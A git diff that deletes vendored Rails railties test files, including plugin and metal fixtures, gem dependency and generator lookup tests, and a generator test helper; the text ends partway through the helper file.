diff --git a/vendor/rails/railties/test/fixtures/metal/singlemetal/app/metal/foo_metal.rb b/vendor/rails/railties/test/fixtures/metal/singlemetal/app/metal/foo_metal.rb
deleted file mode 100644
index 5f5b0875..00000000
--- a/vendor/rails/railties/test/fixtures/metal/singlemetal/app/metal/foo_metal.rb
+++ /dev/null
@@ -1,5 +0,0 @@
-class FooMetal < Rails::Rack::Metal
-  def self.call(env)
-    [200, { "Content-Type" => "text/html"}, ["Hi"]]
-  end
-end
diff --git a/vendor/rails/railties/test/fixtures/metal/subfolders/app/metal/Folder/metal_a.rb b/vendor/rails/railties/test/fixtures/metal/subfolders/app/metal/Folder/metal_a.rb
deleted file mode 100644
index 25b3bb0a..00000000
--- a/vendor/rails/railties/test/fixtures/metal/subfolders/app/metal/Folder/metal_a.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-module Folder
-  class MetalA < Rails::Rack::Metal
-    def self.call(env)
-      [200, { "Content-Type" => "text/html"}, ["Hi"]]
-    end
-  end
-end
diff --git a/vendor/rails/railties/test/fixtures/metal/subfolders/app/metal/Folder/metal_b.rb b/vendor/rails/railties/test/fixtures/metal/subfolders/app/metal/Folder/metal_b.rb
deleted file mode 100644
index 7583363f..00000000
--- a/vendor/rails/railties/test/fixtures/metal/subfolders/app/metal/Folder/metal_b.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-module Folder
-  class MetalB < Rails::Rack::Metal
-    def self.call(env)
-      [200, { "Content-Type" => "text/html"}, ["Hi"]]
-    end
-  end
-end
diff --git a/vendor/rails/railties/test/fixtures/plugins/alternate/a/generators/a_generator/a_generator.rb b/vendor/rails/railties/test/fixtures/plugins/alternate/a/generators/a_generator/a_generator.rb
deleted file mode 100644
index b33f2dad..00000000
--- a/vendor/rails/railties/test/fixtures/plugins/alternate/a/generators/a_generator/a_generator.rb
+++ /dev/null
@@ -1,4 +0,0 @@
-class AGenerator < Rails::Generator::Base
-  def manifest
-  end
-end
diff --git a/vendor/rails/railties/test/fixtures/plugins/alternate/a/lib/.gitignore b/vendor/rails/railties/test/fixtures/plugins/alternate/a/lib/.gitignore
deleted file mode 100644
index e69de29b..00000000
diff --git a/vendor/rails/railties/test/fixtures/plugins/default/acts/acts_as_chunky_bacon/lib/.gitignore b/vendor/rails/railties/test/fixtures/plugins/default/acts/acts_as_chunky_bacon/lib/.gitignore
deleted file mode 100644
index e69de29b..00000000
diff --git a/vendor/rails/railties/test/fixtures/plugins/default/empty/.gitignore b/vendor/rails/railties/test/fixtures/plugins/default/empty/.gitignore
deleted file mode 100644
index e69de29b..00000000
diff --git a/vendor/rails/railties/test/fixtures/plugins/default/gemlike/init.rb b/vendor/rails/railties/test/fixtures/plugins/default/gemlike/init.rb
deleted file mode 100644
index 6a771b5b..00000000
--- a/vendor/rails/railties/test/fixtures/plugins/default/gemlike/init.rb
+++ /dev/null
@@ -1 +0,0 @@
-raise 'This init.rb should not be evaluated because rails/init.rb exists'
diff --git a/vendor/rails/railties/test/fixtures/plugins/default/gemlike/lib/gemlike.rb b/vendor/rails/railties/test/fixtures/plugins/default/gemlike/lib/gemlike.rb
deleted file mode 100644
index 2088103e..00000000
--- a/vendor/rails/railties/test/fixtures/plugins/default/gemlike/lib/gemlike.rb
+++ /dev/null
@@ -1,2 +0,0 @@
-module Gemlike
-end
\ No newline at end of file
diff --git a/vendor/rails/railties/test/fixtures/plugins/default/gemlike/rails/init.rb b/vendor/rails/railties/test/fixtures/plugins/default/gemlike/rails/init.rb
deleted file mode 100644
index 171a293e..00000000
--- a/vendor/rails/railties/test/fixtures/plugins/default/gemlike/rails/init.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-# I have access to my directory and the Rails config.
-raise 'directory expected but undefined in init.rb' unless defined? directory
-raise 'config expected but undefined in init.rb' unless defined? config
-
-# My lib/ dir must be in the load path.
-require 'gemlike'
-raise 'missing mixin from my lib/ dir' unless defined? Gemlike
diff --git a/vendor/rails/railties/test/fixtures/plugins/default/plugin_with_no_lib_dir/init.rb b/vendor/rails/railties/test/fixtures/plugins/default/plugin_with_no_lib_dir/init.rb
deleted file mode 100644
index e69de29b..00000000
diff --git a/vendor/rails/railties/test/fixtures/plugins/default/stubby/about.yml b/vendor/rails/railties/test/fixtures/plugins/default/stubby/about.yml
deleted file mode 100644
index d85a7cc0..00000000
--- a/vendor/rails/railties/test/fixtures/plugins/default/stubby/about.yml
+++ /dev/null
@@ -1,2 +0,0 @@
-author: Plugin Author
-version: 1.0.0
\ No newline at end of file
diff --git a/vendor/rails/railties/test/fixtures/plugins/default/stubby/generators/stubby_generator/stubby_generator.rb b/vendor/rails/railties/test/fixtures/plugins/default/stubby/generators/stubby_generator/stubby_generator.rb
deleted file mode 100644
index 8fda8197..00000000
--- a/vendor/rails/railties/test/fixtures/plugins/default/stubby/generators/stubby_generator/stubby_generator.rb
+++ /dev/null
@@ -1,4 +0,0 @@
-class StubbyGenerator < Rails::Generator::Base
-  def manifest
-  end
-end
diff --git a/vendor/rails/railties/test/fixtures/plugins/default/stubby/init.rb b/vendor/rails/railties/test/fixtures/plugins/default/stubby/init.rb
deleted file mode 100644
index 81beeb0d..00000000
--- a/vendor/rails/railties/test/fixtures/plugins/default/stubby/init.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-# I have access to my directory and the Rails config.
-raise 'directory expected but undefined in init.rb' unless defined? directory
-raise 'config expected but undefined in init.rb' unless defined? config
-
-# My lib/ dir must be in the load path.
-require 'stubby_mixin'
-raise 'missing mixin from my lib/ dir' unless defined? StubbyMixin
diff --git a/vendor/rails/railties/test/fixtures/plugins/default/stubby/lib/stubby_mixin.rb b/vendor/rails/railties/test/fixtures/plugins/default/stubby/lib/stubby_mixin.rb
deleted file mode 100644
index 2d569e50..00000000
--- a/vendor/rails/railties/test/fixtures/plugins/default/stubby/lib/stubby_mixin.rb
+++ /dev/null
@@ -1,2 +0,0 @@
-module StubbyMixin
-end
diff --git a/vendor/rails/railties/test/fixtures/plugins/engines/engine/app/controllers/engine_controller.rb b/vendor/rails/railties/test/fixtures/plugins/engines/engine/app/controllers/engine_controller.rb
deleted file mode 100644
index 323ee1c4..00000000
--- a/vendor/rails/railties/test/fixtures/plugins/engines/engine/app/controllers/engine_controller.rb
+++ /dev/null
@@ -1,2 +0,0 @@
-class EngineController
-end
\ No newline at end of file
diff --git a/vendor/rails/railties/test/fixtures/plugins/engines/engine/app/metal/engine_metal.rb b/vendor/rails/railties/test/fixtures/plugins/engines/engine/app/metal/engine_metal.rb
deleted file mode 100644
index d67a127c..00000000
--- a/vendor/rails/railties/test/fixtures/plugins/engines/engine/app/metal/engine_metal.rb
+++ /dev/null
@@ -1,10 +0,0 @@
-class EngineMetal
-  def self.call(env)
-    if env["PATH_INFO"] =~ /^\/metal/
-      [200, {"Content-Type" => "text/html"}, ["Engine metal"]]
-    else
-      [404, {"Content-Type" => "text/html"}, ["Not Found"]]
-    end
-  end
-end
-
diff --git a/vendor/rails/railties/test/fixtures/plugins/engines/engine/app/models/engine_model.rb b/vendor/rails/railties/test/fixtures/plugins/engines/engine/app/models/engine_model.rb
deleted file mode 100644
index e2657121..00000000
--- a/vendor/rails/railties/test/fixtures/plugins/engines/engine/app/models/engine_model.rb
+++ /dev/null
@@ -1,2 +0,0 @@
-class EngineModel
-end
\ No newline at end of file
diff --git a/vendor/rails/railties/test/fixtures/plugins/engines/engine/config/locales/en.yml b/vendor/rails/railties/test/fixtures/plugins/engines/engine/config/locales/en.yml
deleted file mode 100644
index 641a7e03..00000000
--- a/vendor/rails/railties/test/fixtures/plugins/engines/engine/config/locales/en.yml
+++ /dev/null
@@ -1,2 +0,0 @@
-en:
-  hello: "Hello from Engine"
diff --git a/vendor/rails/railties/test/fixtures/plugins/engines/engine/config/routes.rb b/vendor/rails/railties/test/fixtures/plugins/engines/engine/config/routes.rb
deleted file mode 100644
index cca8d1b1..00000000
--- a/vendor/rails/railties/test/fixtures/plugins/engines/engine/config/routes.rb
+++ /dev/null
@@ -1,3 +0,0 @@
-ActionController::Routing::Routes.draw do |map|
-  map.connect '/engine', :controller => "engine"
-end
diff --git a/vendor/rails/railties/test/fixtures/plugins/engines/engine/init.rb b/vendor/rails/railties/test/fixtures/plugins/engines/engine/init.rb
deleted file mode 100644
index 64e9ae6c..00000000
--- a/vendor/rails/railties/test/fixtures/plugins/engines/engine/init.rb
+++ /dev/null
@@ -1,3 +0,0 @@
-# My app/models dir must be in the load path.
-require 'engine_model'
-raise LoadError, 'missing model from my app/models dir' unless defined?(EngineModel)
diff --git a/vendor/rails/railties/test/fixtures/public/foo/bar.html b/vendor/rails/railties/test/fixtures/public/foo/bar.html
deleted file mode 100644
index 9a356462..00000000
--- a/vendor/rails/railties/test/fixtures/public/foo/bar.html
+++ /dev/null
@@ -1 +0,0 @@
-/foo/bar.html
\ No newline at end of file
diff --git a/vendor/rails/railties/test/fixtures/public/foo/index.html b/vendor/rails/railties/test/fixtures/public/foo/index.html
deleted file mode 100644
index 497a2e89..00000000
--- a/vendor/rails/railties/test/fixtures/public/foo/index.html
+++ /dev/null
@@ -1 +0,0 @@
-/foo/index.html
\ No newline at end of file
diff --git a/vendor/rails/railties/test/fixtures/public/index.html b/vendor/rails/railties/test/fixtures/public/index.html
deleted file mode 100644
index 525950ba..00000000
--- a/vendor/rails/railties/test/fixtures/public/index.html
+++ /dev/null
@@ -1 +0,0 @@
-/index.html
\ No newline at end of file
diff --git a/vendor/rails/railties/test/gem_dependency_test.rb b/vendor/rails/railties/test/gem_dependency_test.rb
deleted file mode 100644
index 8bcce86b..00000000
--- a/vendor/rails/railties/test/gem_dependency_test.rb
+++ /dev/null
@@ -1,227 +0,0 @@
-require 'plugin_test_helper'
-
-class Rails::GemDependency
-  public :install_command, :unpack_command
-end
-
-Rails::VendorGemSourceIndex.silence_spec_warnings = true
-
-class GemDependencyTest < Test::Unit::TestCase
-  def setup
-    @gem              = Rails::GemDependency.new "xhpricotx"
-    @gem_with_source  = Rails::GemDependency.new "xhpricotx", :source => "http://code.whytheluckystiff.net"
-    @gem_with_version = Rails::GemDependency.new "xhpricotx", :version => "= 0.6"
-    @gem_with_lib     = Rails::GemDependency.new "xaws-s3x", :lib => "aws/s3"
-    @gem_without_load  = Rails::GemDependency.new "xhpricotx", :lib => false
-  end
-
-  def test_configuration_adds_gem_dependency
-    config = Rails::Configuration.new
-    config.gem "xaws-s3x", :lib => "aws/s3", :version => "0.4.0"
-    assert_equal [["install", "xaws-s3x", "--version", '"= 0.4.0"']], config.gems.collect { |g| g.install_command }
-  end
-
-  def test_gem_creates_install_command
-    assert_equal %w(install xhpricotx), @gem.install_command
-  end
-
-  def test_gem_with_source_creates_install_command
-    assert_equal %w(install xhpricotx --source http://code.whytheluckystiff.net), @gem_with_source.install_command
-  end
-
-  def test_gem_with_version_creates_install_command
-    assert_equal ["install", "xhpricotx", "--version", '"= 0.6"'], @gem_with_version.install_command
-  end
-
-  def test_gem_creates_unpack_command
-    assert_equal %w(unpack xhpricotx), @gem.unpack_command
-  end
-
-  def test_gem_with_version_unpack_install_command
-    # stub out specification method, or else test will fail if hpricot 0.6 isn't installed
-    mock_spec = mock()
-    mock_spec.stubs(:version).returns('0.6')
-    @gem_with_version.stubs(:specification).returns(mock_spec)
-    assert_equal ["unpack", "xhpricotx", "--version", '= 0.6'], @gem_with_version.unpack_command
-  end
-
-  def test_gem_adds_load_paths
-    @gem.expects(:gem).with(@gem)
-    @gem.add_load_paths
-  end
-
-  def test_gem_with_version_adds_load_paths
-    @gem_with_version.expects(:gem).with(@gem_with_version)
-    @gem_with_version.add_load_paths
-    assert @gem_with_version.load_paths_added?
-  end
-
-  def test_gem_loading
-    @gem.expects(:gem).with(@gem)
-    @gem.expects(:require).with(@gem.name)
-    @gem.add_load_paths
-    @gem.load
-    assert @gem.loaded?
-  end
-
-  def test_gem_with_lib_loading
-    @gem_with_lib.expects(:gem).with(@gem_with_lib)
-    @gem_with_lib.expects(:require).with(@gem_with_lib.lib)
-    @gem_with_lib.add_load_paths
-    @gem_with_lib.load
-    assert @gem_with_lib.loaded?
-  end
-
-  def test_gem_without_lib_loading
-    @gem_without_load.expects(:gem).with(@gem_without_load)
-    @gem_without_load.expects(:require).with(@gem_without_load.lib).never
-    @gem_without_load.add_load_paths
-    @gem_without_load.load
-  end
-
-  def test_gem_dependencies_compare_for_uniq
-    gem1 = Rails::GemDependency.new "gem1"
-    gem1a = Rails::GemDependency.new "gem1"
-    gem2 = Rails::GemDependency.new "gem2"
-    gem2a = Rails::GemDependency.new "gem2"
-    gem3 = Rails::GemDependency.new "gem2", :version => ">=0.1"
-    gem3a = Rails::GemDependency.new "gem2", :version => ">=0.1"
-    gem4 = Rails::GemDependency.new "gem3"
-    gems = [gem1, gem2, gem1a, gem3, gem2a, gem4, gem3a, gem2, gem4]
-    assert_equal 4, gems.uniq.size
-  end
-
-  def test_gem_load_frozen
-    dummy_gem = Rails::GemDependency.new "dummy-gem-a"
-    dummy_gem.add_load_paths
-    dummy_gem.load
-    assert_not_nil DUMMY_GEM_A_VERSION
-  end
-
-  def test_gem_load_frozen_specific_version
-    dummy_gem = Rails::GemDependency.new "dummy-gem-b", :version => '0.4.0'
-    dummy_gem.add_load_paths
-    dummy_gem.load
-    assert_not_nil DUMMY_GEM_B_VERSION
-    assert_equal '0.4.0', DUMMY_GEM_B_VERSION
-  end
-
-  def test_gem_load_frozen_minimum_version
-    dummy_gem = Rails::GemDependency.new "dummy-gem-c", :version => '>=0.5.0'
-    dummy_gem.add_load_paths
-    dummy_gem.load
-    assert_not_nil DUMMY_GEM_C_VERSION
-    assert_equal '0.6.0', DUMMY_GEM_C_VERSION
-  end
-  
-  def test_gem_load_frozen_when_platform_string_is_present    
-    dummy_gem = Rails::GemDependency.new "dummy-gem-l"
-    dummy_gem.add_load_paths
-    dummy_gem.load
-    assert_not_nil DUMMY_GEM_L_VERSION
-    assert_equal "1.0.0", DUMMY_GEM_L_VERSION
-  end
-
-  def test_gem_load_missing_specification
-    dummy_gem = Rails::GemDependency.new "dummy-gem-d"
-    dummy_gem.add_load_paths
-    dummy_gem.load
-    assert_not_nil DUMMY_GEM_D_VERSION
-    assert_equal '1.0.0', DUMMY_GEM_D_VERSION
-    assert_equal ['lib', 'lib/dummy-gem-d.rb'], dummy_gem.specification.files
-  end
-
-  def test_gem_load_bad_specification
-    dummy_gem = Rails::GemDependency.new "dummy-gem-e", :version => "= 1.0.0"
-    dummy_gem.add_load_paths
-    dummy_gem.load
-    assert_not_nil DUMMY_GEM_E_VERSION
-    assert_equal '1.0.0', DUMMY_GEM_E_VERSION
-  end
-
-  def test_gem_handle_missing_dependencies
-    dummy_gem = Rails::GemDependency.new "dummy-gem-g"
-    dummy_gem.add_load_paths
-    dummy_gem.load
-    assert_equal 1, dummy_gem.dependencies.size
-    assert_equal 1, dummy_gem.dependencies.first.dependencies.size
-    assert_nothing_raised do
-      dummy_gem.dependencies.each do |g|
-        g.dependencies
-      end
-    end
-  end
-
-  def test_gem_ignores_development_dependencies
-    dummy_gem = Rails::GemDependency.new "dummy-gem-k"
-    dummy_gem.add_load_paths
-    dummy_gem.load
-    assert_equal 1, dummy_gem.dependencies.size
-  end
-
-  def test_gem_guards_against_duplicate_unpacks
-    dummy_gem = Rails::GemDependency.new "dummy-gem-a"
-    dummy_gem.stubs(:frozen?).returns(true)
-    dummy_gem.expects(:unpack_base).never
-    dummy_gem.unpack
-  end
-
-  def test_gem_does_not_unpack_framework_gems
-    dummy_gem = Rails::GemDependency.new "dummy-gem-a"
-    dummy_gem.stubs(:framework_gem?).returns(true)
-    dummy_gem.expects(:unpack_base).never
-    dummy_gem.unpack
-  end
-
-  def test_gem_from_directory_name_attempts_to_load_specification
-    assert_raises RuntimeError do
-      dummy_gem = Rails::GemDependency.from_directory_name('dummy-gem-1.1')
-    end
-  end
-
-  def test_gem_from_directory_name
-    dummy_gem = Rails::GemDependency.from_directory_name('dummy-gem-1.1', false)
-    assert_equal 'dummy-gem', dummy_gem.name
-    assert_equal '= 1.1',     dummy_gem.requirement.to_s
-  end
-
-  def test_gem_from_directory_name_loads_specification_successfully
-    assert_nothing_raised do
-      dummy_gem = Rails::GemDependency.from_directory_name(File.join(Rails::GemDependency.unpacked_path, 'dummy-gem-g-1.0.0'))
-      assert_not_nil dummy_gem.specification
-    end
-  end
-
-  def test_gem_from_invalid_directory_name
-    assert_raises RuntimeError do
-      dummy_gem = Rails::GemDependency.from_directory_name('dummy-gem')
-    end
-    assert_raises RuntimeError do
-      dummy_gem = Rails::GemDependency.from_directory_name('dummy')
-    end
-  end
-
-  def test_gem_determines_build_status
-    assert_equal true,  Rails::GemDependency.new("dummy-gem-a").built?
-    assert_equal true,  Rails::GemDependency.new("dummy-gem-i").built?
-    assert_equal false, Rails::GemDependency.new("dummy-gem-j").built?
-  end
-  
-  def test_gem_determines_build_status_only_on_vendor_gems
-    framework_gem = Rails::GemDependency.new('dummy-framework-gem')
-    framework_gem.stubs(:framework_gem?).returns(true)  # already loaded
-    framework_gem.stubs(:vendor_rails?).returns(false)  # but not in vendor/rails
-    framework_gem.stubs(:vendor_gem?).returns(false)  # and not in vendor/gems
-    framework_gem.add_load_paths  # freeze framework gem early 
-    assert framework_gem.built?
-  end
-
-  def test_gem_build_passes_options_to_dependencies
-    start_gem = Rails::GemDependency.new("dummy-gem-g")
-    dep_gem = Rails::GemDependency.new("dummy-gem-f")
-    start_gem.stubs(:dependencies).returns([dep_gem])
-    dep_gem.expects(:build).with({ :force => true }).once
-    start_gem.build(:force => true)
-  end
-
-end
diff --git a/vendor/rails/railties/test/generator_lookup_test.rb b/vendor/rails/railties/test/generator_lookup_test.rb
deleted file mode 100644
index b650f304..00000000
--- a/vendor/rails/railties/test/generator_lookup_test.rb
+++ /dev/null
@@ -1,40 +0,0 @@
-require 'plugin_test_helper'
-
-class GeneratorLookupTest < Test::Unit::TestCase
-  def setup
-    @fixture_dirs = %w{alternate default}
-    @configuration = Rails.configuration = Rails::Configuration.new
-    # We need to add our testing plugin directory to the plugin paths so
-    # the locator knows where to look for our plugins
-    @configuration.plugin_paths += @fixture_dirs.map{|fd| plugin_fixture_path(fd)}
-    @initializer = Rails::Initializer.new(@configuration)
-    @initializer.add_plugin_load_paths
-    @initializer.load_plugins
-    load 'rails_generator.rb'
-    require 'rails_generator/scripts'
-  end
-
-  def test_should_load_from_all_plugin_paths
-    assert Rails::Generator::Base.lookup('a_generator')
-    assert Rails::Generator::Base.lookup('stubby_generator')
-  end
-  
-  def test_should_create_generator_source_for_each_directory_in_plugin_paths
-    sources = Rails::Generator::Base.sources
-    @fixture_dirs.each do |gen_dir|
-      expected_label = "plugins (fixtures/plugins/#{gen_dir})".to_sym
-      assert sources.any? {|source| source.label == expected_label }
-    end
-  end
-  
-  def test_should_preserve_order_in_usage_message
-    msg = Rails::Generator::Scripts::Base.new.send(:usage_message)
-    positions = @fixture_dirs.map do |gen_dir|
-      pos = msg.index("Plugins (fixtures/plugins/#{gen_dir})")
-      assert_not_nil pos
-      pos
-    end
-    assert_equal positions.sort, positions
-  end
-
-end
diff --git a/vendor/rails/railties/test/generators/generated_attribute_test.rb b/vendor/rails/railties/test/generators/generated_attribute_test.rb
deleted file mode 100644
index f17faeca..00000000
--- a/vendor/rails/railties/test/generators/generated_attribute_test.rb
+++ /dev/null
@@ -1,38 +0,0 @@
-require 'generators/generator_test_helper'
-require 'rails_generator/generated_attribute'
-
-class GeneratedAttributeTest < GeneratorTestCase
-  def test_field_type_returns_text_field
-    %w(integer float decimal string).each do |name|
-      assert_attribute_type name, :text_field
-    end
-  end
-
-  def test_field_type_returns_datetime_select
-    %w(datetime timestamp).each do |name|
-      assert_attribute_type name, :datetime_select
-    end
-  end
-
-  def test_field_type_returns_time_select
-    assert_attribute_type 'time', :time_select
-  end
-
-  def test_field_type_returns_date_select
-    assert_attribute_type 'date', :date_select
-  end
-
-  def test_field_type_returns_text_area
-    assert_attribute_type 'text', :text_area
-  end
-
-  def test_field_type_returns_check_box
-    assert_attribute_type 'boolean', :check_box
-  end
-
-  def test_field_type_with_unknown_type_returns_text_field
-    %w(foo bar baz).each do |name|
-      assert_attribute_type name, :text_field
-    end
-  end
-end
diff --git a/vendor/rails/railties/test/generators/generator_test_helper.rb b/vendor/rails/railties/test/generators/generator_test_helper.rb
deleted file mode 100644
index d5bfa2b9..00000000
--- a/vendor/rails/railties/test/generators/generator_test_helper.rb
+++ /dev/null
@@ -1,322 +0,0 @@
-require 'test/unit'
-require 'fileutils'
-
-# Mock out what we need from AR::Base
-module ActiveRecord
-  class Base
-    class << self
-      attr_accessor :pluralize_table_names, :timestamped_migrations
-    end
-    self.pluralize_table_names = true
-    self.timestamped_migrations = true
-  end
-
-  module ConnectionAdapters
-    class Column
-      attr_reader :name, :default, :type, :limit, :null, :sql_type, :precision, :scale
-
-      def initialize(name, default, sql_type = nil)
-        @name = name
-        @default = default
-        @type = @sql_type = sql_type
-      end
-
-      def human_name
-        @name.humanize
-      end
-    end
-  end
-end
-
-# Mock up necessities from ActionView
-module ActionView
-  module Helpers
-    module ActionRecordHelper; end
-    class InstanceTag; end
-  end
-end
-
-# Set RAILS_ROOT appropriately fixture generation
-tmp_dir = "#{File.dirname(__FILE__)}/../fixtures/tmp"
-
-if defined? RAILS_ROOT
-  RAILS_ROOT.replace tmp_dir
-else
-  RAILS_ROOT = tmp_dir
-end
-FileUtils.mkdir_p RAILS_ROOT
-
-$LOAD_PATH.unshift "#{File.dirname(__FILE__)}/../../lib"
-require 'initializer'
-
-# Mocks out the configuration
-module Rails
-  def self.configuration
-    Rails::Configuration.new
-  end
-end
-
-require 'rails_generator'
-
-class GeneratorTestCase < Test::Unit::TestCase
-  include FileUtils
-
-  def setup
-    ActiveRecord::Base.pluralize_table_names = true
-
-    mkdir_p "#{RAILS_ROOT}/app/views/layouts"
-    mkdir_p "#{RAILS_ROOT}/config"
-    mkdir_p "#{RAILS_ROOT}/db"
-    mkdir_p "#{RAILS_ROOT}/test/fixtures"
-    mkdir_p "#{RAILS_ROOT}/public/stylesheets"
-
-    File.open("#{RAILS_ROOT}/config/routes.rb", 'w') do |f|
-      f << "ActionController::Routing::Routes.draw do |map|\n\nend"
-    end
-  end
-
-  def teardown
-    rm_rf "#{RAILS_ROOT}/app"
-    rm_rf "#{RAILS_ROOT}/test"
-    rm_rf "#{RAILS_ROOT}/config"
-    rm_rf "#{RAILS_ROOT}/db"
-    rm_rf "#{RAILS_ROOT}/public"
-  end
-
-  def test_truth
-    # don't complain, test/unit
-  end
-
-  # Instantiates the Generator.
-  def build_generator(name, params)
-    Rails::Generator::Base.instance(name, params)
-  end
-
-  # Runs the +create+ command (like the command line does).
-  def run_generator(name, params)
-    silence_generator do
-      build_generator(name, params).command(:create).invoke!
-    end
-  end
-
-  # Silences the logger temporarily and returns the output as a String.
-  def silence_generator
-    logger_original = Rails::Generator::Base.logger
-    myout = StringIO.new
-    Rails::Generator::Base.logger = Rails::Generator::SimpleLogger.new(myout)
-    yield if block_given?
-    Rails::Generator::Base.logger = logger_original
-    myout.string
-  end
-
-  # Asserts that the given controller was generated.
-  # It takes a name or symbol without the <tt>_controller</tt> part and an optional super class.
-  # The contents of the class source file is passed to a block.
-  def assert_generated_controller_for(name, parent = "ApplicationController")
-    assert_generated_class "app/controllers/#{name.to_s.underscore}_controller", parent do |body|
-      yield body if block_given?
-    end
-  end
-
-  # Asserts that the given model was generated.
-  # It takes a name or symbol and an optional super class.
-  # The contents of the class source file is passed to a block.
-  def assert_generated_model_for(name, parent = "ActiveRecord::Base")
-    assert_generated_class "app/models/#{name.to_s.underscore}", parent do |body|
-      yield body if block_given?
-    end
-  end
-
-  # Asserts that the given helper was generated.
-  # It takes a name or symbol without the <tt>_helper</tt> part.
-  # The contents of the module source file is passed to a block.
-  def assert_generated_helper_for(name)
-    assert_generated_module "app/helpers/#{name.to_s.underscore}_helper" do |body|
-      yield body if block_given?
-    end
-  end
-
-  # Asserts that the given functional test was generated.
-  # It takes a name or symbol without the <tt>_controller_test</tt> part and an optional super class.
-  # The contents of the class source file is passed to a block.
-  def assert_generated_functional_test_for(name, parent = "ActionController::TestCase")
-    assert_generated_class "test/functional/#{name.to_s.underscore}_controller_test",parent do |body|
-      yield body if block_given?
-    end
-  end
-
-  # Asserts that the given helper test test was generated.
-  # It takes a name or symbol without the <tt>_helper_test</tt> part and an optional super class.
-  # The contents of the class source file is passed to a block.
-  def assert_generated_helper_test_for(name, parent = "ActionView::TestCase")
-    path = "test/unit/helpers/#{name.to_s.underscore}_helper_test"
-    # Have to pass the path without the "test/" part so that class_name_from_path will return a correct result
-    class_name = class_name_from_path(path.gsub(/^test\//, ''))
-
-    assert_generated_class path,parent,class_name do |body|
-      yield body if block_given?
-    end
-  end
-
-  # Asserts that the given unit test was generated.
-  # It takes a name or symbol without the <tt>_test</tt> part and an optional super class.
-  # The contents of the class source file is passed to a block.
-  def assert_generated_unit_test_for(name, parent = "ActiveSupport::TestCase")
-    assert_generated_class "test/unit/#{name.to_s.underscore}_test", parent do |body|
-      yield body if block_given?
-    end
-  end
-
-  # Asserts that the given file was generated.
-  # The contents of the file is passed to a block.
-  def assert_generated_file(path)
-    assert_file_exists(path)
-    File.open("#{RAILS_ROOT}/#{path}") do |f|
-      yield f.read if block_given?
-    end
-  end
-
-  # asserts that the given file exists
-  def assert_file_exists(path)
-    assert File.exist?("#{RAILS_ROOT}/#{path}"),
-      "The file '#{RAILS_ROOT}/#{path}' should exist"
-  end
-
-  # Asserts that the given class source file was generated.
-  # It takes a path without the <tt>.rb</tt> part and an optional super class.
-  # The contents of the class source file is passed to a block.
-  def assert_generated_class(path, parent = nil, class_name = class_name_from_path(path))
-    assert_generated_file("#{path}.rb") do |body|
-      assert_match /class #{class_name}#{parent.nil? ? '':" < #{parent}"}/, body, "the file '#{path}.rb' should be a class"
-      yield body if block_given?
-    end
-  end
-
-  def class_name_from_path(path)
-    # FIXME: Sucky way to detect namespaced classes
-    if path.split('/').size > 3
-      path =~ /\/?(\d+_)?(\w+)\/(\w+)$/
-      "#{$2.camelize}::#{$3.camelize}"
-    else
-      path =~ /\/?(\d+_)?(\w+)$/
-      $2.camelize
-    end
-  end
-
-  # Asserts that the given module source file was generated.
-  # It takes a path without the <tt>.rb</tt> part.
-  # The contents of the class source file is passed to a block.
-  def assert_generated_module(path)
-    # FIXME: Sucky way to detect namespaced modules
-    if path.split('/').size > 3
-      path =~ /\/?(\w+)\/(\w+)$/
-      module_name = "#{$1.camelize}::#{$2.camelize}"
-    else
-      path =~ /\/?(\w+)$/
-      module_name = $1.camelize
-    end
-
-    assert_generated_file("#{path}.rb") do |body|
-      assert_match /module #{module_name}/, body, "the file '#{path}.rb' should be a module"
-      yield body if block_given?
-    end
-  end
-
-  # Asserts that the given CSS stylesheet file was generated.
-  # It takes a path without the <tt>.css</tt> part.
-  # The contents of the stylesheet source file is passed to a block.
-  def assert_generated_stylesheet(path)
-    assert_generated_file("public/stylesheets/#{path}.css") do |body|
-      yield body if block_given?
-    end
-  end
-
-  # Asserts that the given YAML file was generated.
-  # It takes a path without the <tt>.yml</tt> part.
-  # The parsed YAML tree is passed to a block.
-  def assert_generated_yaml(path)
-    assert_generated_file("#{path}.yml") do |body|
-      yaml = YAML.load(body)
-      assert yaml, 'YAML data missing'
-      yield yaml if block_given?
-    end
-  end
-
-  # Asserts that the given fixtures YAML file was generated.
-  # It takes a fixture name without the <tt>.yml</tt> part.
-  # The parsed YAML tree is passed to a block.
-  def assert_generated_fixtures_for(name)
-    assert_generated_yaml "test/fixtures/#{name.to_s.underscore}" do |yaml|
-      yield yaml if block_given?
-    end
-  end
-
-  # Asserts that the given views were generated.
-  # It takes a controller name and a list of views (including extensions).
-  # The body of each view is passed to a block.
-  def assert_generated_views_for(name, *actions)
-    actions.each do |action|
-      assert_generated_file("app/views/#{name.to_s.underscore}/#{action}") do |body|
-        yield body if block_given?
-      end
-    end
-  end
-
-  def assert_generated_migration(name, parent = "ActiveRecord::Migration")
-    file = Dir.glob("#{RAILS_ROOT}/db/migrate/*_#{name.to_s.underscore}.rb").first
-    assert !file.nil?, "should have generated the migration file but didn't"
-
-    file = file.match(/db\/migrate\/[0-9]+_\w+/).to_s
-    assert_generated_class file, parent do |body|
-      assert_match /timestamps/, body, "should have timestamps defined"
-      yield body if block_given?
-    end
-  end
-
-  # Asserts that the given migration file was not generated.
-  # It takes the name of the migration as a parameter.
-  def assert_skipped_migration(name)
-    migration_file = "#{RAILS_ROOT}/db/migrate/001_#{name.to_s.underscore}.rb"
-    assert !File.exist?(migration_file), "should not create migration #{migration_file}"
-  end
-
-  # Asserts that the given resource was added to the routes.
-  def assert_added_route_for(name)
-    assert_generated_file("config/routes.rb") do |body|
-      assert_match /map.resources :#{name.to_s.underscore}/, body,
-        "should add route for :#{name.to_s.underscore}"
-    end
-  end
-
-  # Asserts that the given methods are defined in the body.
-  # This does assume standard rails code conventions with regards to the source code.
-  # The body of each individual method is passed to a block.
-  def assert_has_method(body, *methods)
-    methods.each do |name|
-      assert body =~ /^  def #{name}(\(.+\))?\n((\n|   .*\n)*)  end/, "should have method #{name}"
-      yield(name, $2) if block_given?
-    end
-  end
-
-  # Asserts that the given column is defined in the migration.
-  def assert_generated_column(body, name, type)
-    assert_match /t\.#{type.to_s} :#{name.to_s}/, body, "should have column #{name.to_s} defined"
-  end
-
-  # Asserts that the given table is defined in the migration.
-  def assert_generated_table(body, name)
-    assert_match /create_table :#{name.to_s} do/, body, "should have table #{name.to_s} defined"
-  end
-
-  # Asserts the given field name gets translated to an attribute type
-  # properly.
-  #
-  #   assert_attribute_type 'date', :date_select
-  #
